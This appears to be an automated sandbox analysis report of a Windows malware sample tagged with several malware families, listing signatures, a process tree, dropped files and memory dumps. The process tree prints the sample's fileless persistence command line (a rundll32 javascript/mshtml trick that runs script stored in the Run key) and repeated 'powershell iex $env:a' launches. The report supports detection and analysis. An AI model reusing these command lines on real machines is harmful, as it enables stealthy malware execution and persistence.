Overview

overview

9

Static

static

3

2026-04-23...ar.exe

windows10-2004-x64

9

2026-04-23...ar.exe

windows11-21h2-x64

9

Analysis

  • max time kernel
    143s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/04/2026, 10:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-04-23_7f7996b9ebe1049fc36c4fea0dd6efab_cobalt-strike_icedid_njrat_satacom_vidar.exe
  • Size 450KB
  • Sample260423-mtk74sat2v
  • SHA256 e877da77e4523c8da3770be4f4b8ec81663e8ebfd3a19968d8691df9e4cfa07b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
discoveryexecutionpersistence

Malware Config

Signatures

  • Custom signature
    Detects executables built or packed with MPress PE compressor 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-23_7f7996b9ebe1049fc36c4fea0dd6efab_cobalt-strike_icedid_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-23_7f7996b9ebe1049fc36c4fea0dd6efab_cobalt-strike_icedid_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4172
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2240
      • \??\c:\updt\up.exe
        c:\updt\up.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4212
        • C:\Windows\system32\rundll32.exe
          rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4512
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1268
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1772
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3140
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2284
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1836
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1928
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4108
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2552
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3976
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4684
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3792
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1404
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2208
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2472
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5032
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4916
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:688
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4252
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3876
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1060
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4804
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2704
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5088
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2604
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3080
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1412
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1928
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1408
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2952
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4532
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            PID:3096
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4988
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            PID:3524
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4908
          • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
            "C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" iex $env:a
            5⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4956

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 5dcccbeb5bd9d30e66b8d37ba173fe728eecf29a8012901fdc7f84b5a2507c4a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 38b15be304594a39f22aa61411c6cd6a9bfc373f6ac68632345d4b8e832d2136
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 4938eb8179cc99cbd6453054aa132b3a781020600c608b087af5b4b348ed575d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 2c34348f17f41a8e6c62435f3ba9f71ba5f297c746e0acfdf702460736b60721
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 c671f046f97c4e59e8b1d764a46821ae154422c15894a3bbdd07a416f3e2e420
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 c9c1b79f30eb98337973140165a6fe8aaaefe33690bb772baf9b53b7b1735ca9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 919e29186ca47f4811f122bbd8dcad7880f49ebc0324957943813f7f41f17318
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 d2a7dc254b4d1cb9ade17f8a59713aecb581f8e12b93d6cca81f8e3d9dd529b7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 797b982aae128eb734eb1c4fc233eb4a62903e304f040451dd7fe4b7abc52a52
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 d91ff3315761178ea6f737a8d380219366d89b6fdc865d43b401ff3a12fbf56c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 c126f156d2f901159980b7e58c71693c9ff6eea0d3a65b456618b6c9b332123e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 5df4a44c33f587c0f8a5ee4f29b2b70b857deb82c5b5b92b623c9d5a553ea6e8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 883987b0e2c0f02e03a89e101aa782c18ab4dbf02efa08fea845a1a8a23aea3d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 3850f2f52a4ed247c12d51b2a36c8f50c05d51e9c496ec635ca5c6123bbd42f8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 101354df2b976edb25dad7906b0070005269b54ea9fc99e2304a1837a49f0d28
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 c17080bbd768d76a91f3987a3b958e879c3cda522186b6a89dace2fb3912ca72
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 7fbbf3e45d285b5f5a863438720ece6cd4d5db89e36d183b210f9c70ab44309e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 ad5dedec5dae0bc0f17a31f4de257b84950a11a1b2b8f083df61c816f50c517d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 dc8c12a27d19021639f33cd2dcbcf9217a699806d0c14d2cc00e144a358d23b2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 d0da29f755627473c8e3fe5e772f2c9f34ddec70260429f3489bdc96872fd37b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 dd9eaad2ce528f43c1e7e3b041e7709ebbb789bb2ec04763e60e2e0c62be688d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 8fac79497cf7aa6a7ca25c0bb461ab4da19a53a93d1ac145c6fa300c98c49f45
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 11a9d7ba934a04fb98cf86fe5cb9fbaa91fe02792b215584eb5e35a7dd5c7025
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 fac34da2ac47f73286488c093edf2a9ce17b6384704b57bf21422cd076026b17
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 3279bc78c4a5f15e9e0ccae42ffd2ec9981fcadeef3fb4417ebc42c49023c82e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 d7a9293ce7a8f526388cd99dcc1878402294a87d65a0892d758c957f87d3ad90
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 89b4cbfec9e3c56d77f72d7346e65f83f4e498d446cb4a1634760807ece90d10
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 fbbaab14bb4678e8909872ba1e275da215ca2293152eb27d0bdaef174737bd36
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 857e474933e53a6eeaf3b8d1ab261b6f25376746e02c2d8e0d7d4c14e502a50c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 dc114d6fb8bca4afa10053139aa0cc07893f4cfdf5ae16f6e65cad6b8e597de5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 fea667a103352909fed0431c3ac8ae1b22b03b1e0d6cc9775a88761c8a984b03
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 4a9e5362c4baec209693cfc78dead1f6f0f02f0c6b885056bf59a8ba41958137
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 f7027368443b65ae7e2a285695125507a1aa5fe22fd36228ee322171a81f51b8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 2d94bb3eaa8926d4a33cb7595eccabea3b60ff7cba9151110064bd5e5f637271
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        2.dll
        • Path C:\Users\Admin\AppData\Local\Temp\2.dll
        • Size 89KB
        • SHA256 5c09984db55f3622f14f447045df7ebfe7bca3ffe445a9dbbdb16e4fee7e89a1
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_g2s2iaw2.tqc.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g2s2iaw2.tqc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        up.exe
        • Path C:\updt\up.exe
        • Size 70KB
        • SHA256 4b0c5e7fa163edb3cf2e3c073c4b597ee98c287ef5d398f0f8318e06f681e19a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/688-210-0x0000000005270000-0x00000000052F7000-memory.dmp
        Download

        memory/1060-241-0x0000000005C90000-0x0000000005D17000-memory.dmp
        Download

        memory/1268-30-0x0000000006010000-0x000000000602E000-memory.dmp
        Download

        memory/1268-19-0x00000000058A0000-0x00000000058C2000-memory.dmp
        Download

        memory/1268-32-0x0000000007840000-0x0000000007EBA000-memory.dmp
        Download

        memory/1268-33-0x0000000007100000-0x000000000711A000-memory.dmp
        Download

        memory/1268-29-0x0000000005B00000-0x0000000005E54000-memory.dmp
        Download

        memory/1268-17-0x0000000002850000-0x0000000002886000-memory.dmp
        Download

        memory/1268-36-0x0000000005180000-0x0000000005207000-memory.dmp
        Download

        memory/1268-18-0x0000000005240000-0x0000000005868000-memory.dmp
        Download

        memory/1268-21-0x00000000059C0000-0x0000000005A26000-memory.dmp
        Download

        memory/1268-20-0x0000000005950000-0x00000000059B6000-memory.dmp
        Download

        memory/1268-31-0x0000000006040000-0x000000000608C000-memory.dmp
        Download

        memory/1404-156-0x0000000005380000-0x0000000005407000-memory.dmp
        Download

        memory/1404-153-0x0000000005C40000-0x0000000005F94000-memory.dmp
        Download

        memory/1408-324-0x0000000004F30000-0x0000000004FB7000-memory.dmp
        Download

        memory/1412-304-0x0000000005CF0000-0x0000000005D77000-memory.dmp
        Download

        memory/1772-48-0x00000000059D0000-0x0000000005A57000-memory.dmp
        Download

        memory/1772-38-0x00000000062A0000-0x00000000065F4000-memory.dmp
        Download

        memory/1836-81-0x00000000053C0000-0x0000000005447000-memory.dmp
        Download

        memory/1928-92-0x0000000004FB0000-0x0000000005037000-memory.dmp
        Download

        memory/1928-314-0x0000000004DA0000-0x0000000004E27000-memory.dmp
        Download

        memory/2208-166-0x0000000005BB0000-0x0000000005C37000-memory.dmp
        Download

        memory/2284-71-0x0000000004D90000-0x0000000004E17000-memory.dmp
        Download

        memory/2284-66-0x0000000005930000-0x0000000005C84000-memory.dmp
        Download

        memory/2472-177-0x00000000056A0000-0x0000000005727000-memory.dmp
        Download

        memory/2472-174-0x00000000057B0000-0x0000000005B04000-memory.dmp
        Download

        memory/2552-112-0x0000000005280000-0x0000000005307000-memory.dmp
        Download

        memory/2604-284-0x00000000056B0000-0x0000000005737000-memory.dmp
        Download

        memory/2704-261-0x00000000058C0000-0x0000000005947000-memory.dmp
        Download

        memory/2952-337-0x0000000006240000-0x00000000062C7000-memory.dmp
        Download

        memory/2952-332-0x0000000005EE0000-0x0000000006234000-memory.dmp
        Download

        memory/3080-294-0x0000000004F90000-0x0000000005017000-memory.dmp
        Download

        memory/3096-358-0x00000000059A0000-0x0000000005A27000-memory.dmp
        Download

        memory/3140-58-0x0000000005560000-0x00000000055E7000-memory.dmp
        Download

        memory/3524-378-0x0000000004EA0000-0x0000000004F27000-memory.dmp
        Download

        memory/3792-144-0x00000000059B0000-0x0000000005A37000-memory.dmp
        Download

        memory/3876-231-0x0000000005640000-0x00000000056C7000-memory.dmp
        Download

        memory/3976-122-0x00000000051A0000-0x0000000005227000-memory.dmp
        Download

        memory/4108-102-0x00000000055E0000-0x0000000005667000-memory.dmp
        Download

        memory/4212-11-0x0000000000406000-0x0000000000407000-memory.dmp
        Download

        memory/4212-68-0x0000000000400000-0x0000000000415000-memory.dmp
        Download

        memory/4212-6-0x0000000000400000-0x0000000000415000-memory.dmp
        Download

        memory/4212-8-0x0000000000406000-0x0000000000407000-memory.dmp
        Download

        memory/4212-10-0x0000000000400000-0x0000000000415000-memory.dmp
        Download

        memory/4212-13-0x00000000004F0000-0x0000000000577000-memory.dmp
        Download

        memory/4212-9-0x0000000000400000-0x0000000000415000-memory.dmp
        Download

        memory/4252-221-0x0000000006200000-0x0000000006287000-memory.dmp
        Download

